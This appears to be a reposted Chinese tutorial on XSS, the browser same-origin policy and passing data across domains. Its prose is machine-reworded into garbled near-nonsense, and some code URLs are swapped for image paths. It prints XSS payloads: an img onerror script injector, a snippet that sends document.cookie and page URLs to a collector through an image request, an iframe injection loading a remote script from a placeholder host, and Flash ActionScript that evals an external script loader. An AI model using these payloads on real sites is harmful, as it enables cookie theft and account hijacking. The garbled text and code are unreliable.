|
|
|
联系客服020-83701501

科普-xss攻击浏览器同源策略与跨域访问

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
科普:xss攻击浏览器同源策略与跨域访问

1、同源策略

同源策略是一种约定,它是浏览器最中心也是最底子的坦然听从。
浏览器的同源策略,限制了来自差别源的”document”或脚本,对当前“document”读取或设置某些属性。
———————————————邪恶的宰割线——————————————–
关于影响到“源”的因素有:

host(域名或IP地址,如果是IP地址则看作一个根域名)
子域名
端口
协议
——————————————-邪恶的宰割线—————————
在浏览器中,关于标签 <script>、<img>、<iframe>、<link> 等标签均可以跨域加载利润,而不受同源策略的限制。这些带有“src”属性的标签每次加载的时分,理论上是由浏览器发起一个get乞求。

差别于XMLHttpRequest的是,通过src属性加载的利润,浏览器是限制了javascript的权限,使其不可能读写返回的模式。关于 XMLHttpRequest来说,它可以访问来自同源货色的模式。但是不可能访问跨域访问利润,全数在ajax开拓中极度必要留神这点在w3c委员会制 定了XMLHttpRequest跨域访问尺度。他必要通过方针域返回的HTTP头受权是否应允跨域访问,因为HTTP头关于javascript来说一 般是无奈管教的,所以认为这个打点是可行的。

关于浏览器来说:除了DOM、Cookie、XMLHttprequest会受到同源策略的限制外,浏览器加载的第三方插件也有各自的同源策略。例如:flash,java applet,silverlight,coogle gears等。

2、xss

笔者曾经将上文弥留的处所红色高亮显示出来,浏览器同源在保证坦然的同时,对前端开拓和攻击者会带来极大的方便,谷歌一下javascript跨域会有良多操持打点,比如:http://rubel.iteye.com/blog/901182。

关于平常的开拓来说,底子上可以操持全数场景上面的跨域题目,但凡必要方针和本地的文件但凡可控的,这关于xss攻击中来说注定是不可的。

3、xss中如何跨域通报数据

前文曾经提到到 src标签加载利润时相当于一个get乞求。
比如一个模范的img标签的xss:

Default
1 &lt;img src=1 onerror="var b = document.createElement('script');b.src='//X';document.body.appendChild(b);"width="0"  height="0" &gt;

另有就是xssing 平台中多量操纵的代码:

Default
1234 img =newImage();img.src="/uploads/allimg/191106/09320B939-2.jpg"+ escape(document.cookie) +"&amp;location="+ escape(window.location.href) +"&amp;top="+ escape(top.location.href) +"&amp;address="+ escape(l);img.width = 0;img.height = 0;

uc定位(http://www.91ri.org/7331.html)中操纵到的代码:

Default
1 var c = document.createElement('iframe');c.src='http://u.uc.cn/?uc_param_str=sspfligiwinieisive&amp;r=mood/view&amp;moodId=4439141839360554257&amp;userId=1&amp;msg=&lt;script src=//www.xxx.com/2.js&gt;&lt;/script&gt;';document.body.appendChild(c);

4、xss跨域攻击

超越子域:xss攻击场景的跨域大多数是跨子域的。
比如当前有a.av.com的xss,必要b.av.com的document并操纵,关于大部分站点来说,子域名表面乡村有一个proxy页面或者引入一个合营的javascript文件来设置 document.cookie=”.av.com”,以便于业务开拓。
也可以用flash 来跨域crossdomain.xml,必要根目录的flash xss domain可控。
比如 http://sb.f4ck.org/crossdomain.xml
比如我已往xss一站用的actionscript代码:

Default
123456789101112131415 package  {      import flash.display.MovieClip;     import flash.external.ExternalInterface;  public class xss extends MovieClip { public function xss() { var fun = "var x=document.createElement("SCRIPT");x.src="/uploads/allimg/191106/09320A113-6.jpg"; x.defer=true;document.getElementsByTagName("HEAD")[0].appendChild(x);";flash.external.ExternalInterface.call("eval", fun);  }} }

固然,如果你的道德跟笔者同样差,以上打点均不可行,就只要悲催的fuzz b.av.com的xss了。

跨利便域:必要跨利便域注定是关注浏览器层面的,比如ie是res协议跨域、特权地域和浏览器拓展等浏览器层面的xss,具体可见余弦的《web 前端黑客技术揭秘》 (232 页)和黑哥的 《去年我跨过的浏览器》(http://vdisk.weibo.com/s/z1id0otCRMVPt)

其余:大雅流之webkit神跨域:http://zone.wooyun.org/content/2365

5、总结

近来良多人来题目uc定位中的情理,遂跟本身一起深造下xss攻击浏览器同源域跨域访问的题目,笔者才力有限,错漏之处,欢迎指正。

[via@yaseng]

数安新闻+更多

证书相关+更多